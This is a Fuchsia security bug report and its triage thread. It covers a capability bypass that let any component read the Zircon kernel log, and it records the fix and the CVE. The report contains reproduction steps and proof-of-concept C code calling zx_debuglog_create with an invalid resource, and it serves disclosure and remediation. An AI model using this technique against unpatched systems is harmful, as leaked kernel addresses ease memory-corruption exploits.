Starred by 2 users

Owner:	cpu@google.com
CC:	billstevenson@google.com zar...@google.com mvanotti@google.com jshaftan@google.com
Status:	Fixed *(Closed)*
Components:	Security Zircon
Modified:	Jun 14, 2022
ETA:	----
NextAction:	----
Pri:	2
Progress:	----
Related-Issues:	----
Severe:	----
StoryPoints:	----
type:	Bug

Sec-Impact-Low
fuchsia-security-preferred
Restrict-FlagSpam-CommunityManager
Restrict-FlagSpam-Committer

BlockedOn:	Issue 32044 View details

Issue 94740: Fuchsia allows illegal access to the kernel log
Reported by a13xp0p0v88@gmail.com on Wed, Mar 2, 2022, 2:58 PM EST

Code Markdown

Overview

Fuchsia allows illegal access to the kernel log.

That exposes the Zircon kernel addresses and other sensitive info to components without the required capabilities.

That simplifies memory corruption exploits for the Zircon microkernel. It is a security issue.

Host environment

GNU/Linux

Target device

Emulator

Fuchsia repository state

```
commit 74842fec13c007e60a9600572491671832d5bef1 (origin/master, origin/main)
  Author: Alex Konradi <akonradi@google.com>
  Date:   Tue Dec 21 16:37:57 2021 +0000
    [netstack3] Match on IdMapEntry enum
```

Steps to reproduce

1. Create a component with this capability

   ```
   use: [ { protocol: "fuchsia.boot.ReadOnlyLog" } ]
   ```

2. Open the kernel log from that component ``` zx::channel local, remote; zx_status_t status = zx::channel::create(0, &local, &remote); if (status != ZX_OK) { fprintf(stderr, "Failed to create channel: %d\n", status); return -1; }

const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name; status = fdio_service_connect(kReadOnlyLogPath, remote.release()); if (status != ZX_OK) { fprintf(stderr, "Failed to connect to ReadOnlyLog: %d\n", status); return -1; }

zx_handle_t h; status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h); if (status != ZX_OK) { fprintf(stderr, "ReadOnlyLogGet failed: %d\n", status); return -1; }

```
3. Build Fuchsia workstation with this component
```

fx set workstation.x64 --with-base "//bundles:tools" --with-base "//src/a13x-pwns-fuchsia" --ccache fx build

```
4. Run the emulator
```

fx qemu -N -s 1 -- -s

```
5. Run the component
```

ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm --recreate

```
6. See the error:
```

[00020.239495][1179][1298][ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer` declaration was found in the parent [00020.240692][1179][1292][ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log... [00020.240713][1179][1292][ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

```
That is *correct* behavior. No access granted since the component doesn't have the required

7. But now access the kernel log this way:
```

zx_handle_t root_resource; // global var

int main(int argc, const char** argv) { zx_status_t status;

zx_handle_t debuglog;

status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog); if (status != ZX_OK) { printf("[-] can't create debuglog, no way\n"); return 1; }

printf("[+] debuglog handle is created\n");

char buf[ZX_LOG_RECORD_MAX]; zx_log_record_t* rec = (zx_log_record_t*)buf;

status = zx_debuglog_read(debuglog, 0, rec, ZX_LOG_RECORD_MAX); if (status < 0) { printf("[-] can't read debuglog\n"); return 1; }

```
This allows access to the Zircon kernel log without the required capabilities and without Z

That is *wrong* behavior. This bug exposes the Zircon kernel addresses and other sensitive

That simplifies memory corruption exploits for the Zircon microkernel. It is a security iss
```

Comment 1 by arque...@appspot.gserviceaccount.com on Wed, Mar 2, 2022, 2:59 PM EST Project Member

Cc: billstevenson@google.com

Issue update by Arquebus - Task details
To stop Arquebus updating this issue, please add the label "Arquebus-Opt-Out".

We're working to find an owner for this issue. Please allow us 2-3 days to respond.

Comment 2 by billstevenson@google.com on Wed, Mar 2, 2022, 3:21 PM EST Project Member

Components: -Untriaged Security>Vulns Zircon

Comment 3 by billstevenson@google.com on Wed, Mar 2, 2022, 3:21 PM EST Project Member

Owner: sar...@google.com

Please ingress

Comment 4 by arque...@appspot.gserviceaccount.com on Wed, Mar 2, 2022, 3:59 PM EST Project Member

Cc: zar...@google.com

Issue update by Arquebus - Task details
To stop Arquebus updating this issue, please add the label "Arquebus-Opt-Out".

We're working to find an owner for this issue and assign a severity. Please allow us 1-2 days for a response.

Comment 5 by zar...@google.com on Wed, Mar 2, 2022, 4:18 PM EST Project Member

Owner: cpu@google.com
Cc: mvanotti@google.com
Labels: Sec-Impact-Low fuchsia-security-preferred Pri-2
Blockedon: 32044

Yep, looks like there's an outstanding TODO to require a proper resource handle for that syscall that appears to have been left undone:
https://cs.opensource.google/fuchsia/fuchsia/+/main:zircon/kernel/lib/syscalls/zircon.cc;l=128;drc=721e88dc542519a762088d9bc15ddd0ab0dd8ebf

There's an existing bug tracking burning down the use of ZX_HANDLE_INVALID and properly propagating a ZX_RSRC_KIND_ROOT to any trustworthy callers at https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=32044 ; we should burn that down.

The overall impact of this bug is pretty minimal in our current set of supported products, since none support running untrusted native code, and if you can run your own code on the system, then (at present) you can also use other existing supported workflows to obtain kernel logs, but it does seem to be a useful stepping stone towards privilege escalation if you have already obtained code-exec in some process through another exploit.

Assigning to cpu@ to find an owner on the zircon side for this and https://fxbug.dev/32044 , since the rotations link for the zircon kernel at go/tq-oncall appears to have bitrotted.

Comment 6 by a13xp0p0v88@gmail.com on Thu, Mar 3, 2022, 8:04 AM EST

Could you request a CVE identifier for this issue?

Thanks!

Comment 7 by Git Watcher on Sun, Mar 6, 2022, 11:37 PM EST Project Member

Status: Fixed (was: Unassigned)

The following revision refers to this bug:
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba

commit 5be4ba6410494c4c046502df70cf06474d6cfaba
Author: Drew Fisher <zarvox@google.com>
Date: Mon Mar 07 04:36:38 2022

[kernel] Require valid rsrc to debuglog_create if readable

Bug: 32044
~~Fixed: 94740~~
Change-Id: Iedf2368c07e9d27c9f8930220a575edf34e21532
Reviewed-on: https://fuchsia-review.googlesource.com/c/fuchsia/+/653202
Reviewed-by: Marco Vanotti <mvanotti@google.com>
Fuchsia-Auto-Submit: Drew Fisher <zarvox@google.com>
Reviewed-by: Abdulla Kamar <abdulla@google.com>
Commit-Queue: Auto-Submit <auto-submit@fuchsia-infra.iam.gserviceaccount.com>

[modify]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/src/lib/zircon/rust/src/debuglog.rs
[modify]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/src/sys/component_manager/src/builtin/log.rs
[modify]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/src/sys/component_manager/lib/logger/BUILD.gn
[modify]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/zircon/kernel/lib/syscalls/zircon.cc
[modify]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/src/sys/component_manager/lib/logger/src/klog.rs
[modify]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/zircon/system/utest/core/debuglog/debuglog.cc
[add]
https://fuchsia.googlesource.com/fuchsia/+/5be4ba6410494c4c046502df70cf06474d6cfaba/src/sys/component_manager/lib/logger/meta/component_manager_logger_test.cml

Comment 8 by mvanotti@google.com on Mon, Mar 7, 2022, 5:01 PM EST Project Member

Components: -Security>Vulns Security

Comment 9 by sar...@google.com on Tue, Mar 8, 2022, 11:51 AM EST Project Member

Requesting a CVE and will add in details as they come.

Comment 10 by a13xp0p0v88@gmail.com on Thu, Apr 7, 2022, 10:04 AM EDT

Hello! A friendly ping about a CVE for this issue. Thanks!

Comment 11 by sar...@google.com on Wed, Apr 27, 2022, 1:08 PM EDT Project Member

Thanks! On it - apologies for the delay :)

Comment 12 by sar...@google.com on Thu, Apr 28, 2022, 1:10 PM EDT Project Member

CVE-2022-0882 is reserved for this finding and we'll update content shortly.

Comment 13 by wxhu...@gmail.com on Tue, Jun 14, 2022, 11:06 AM EDT

Is there any bug bounty in this bug?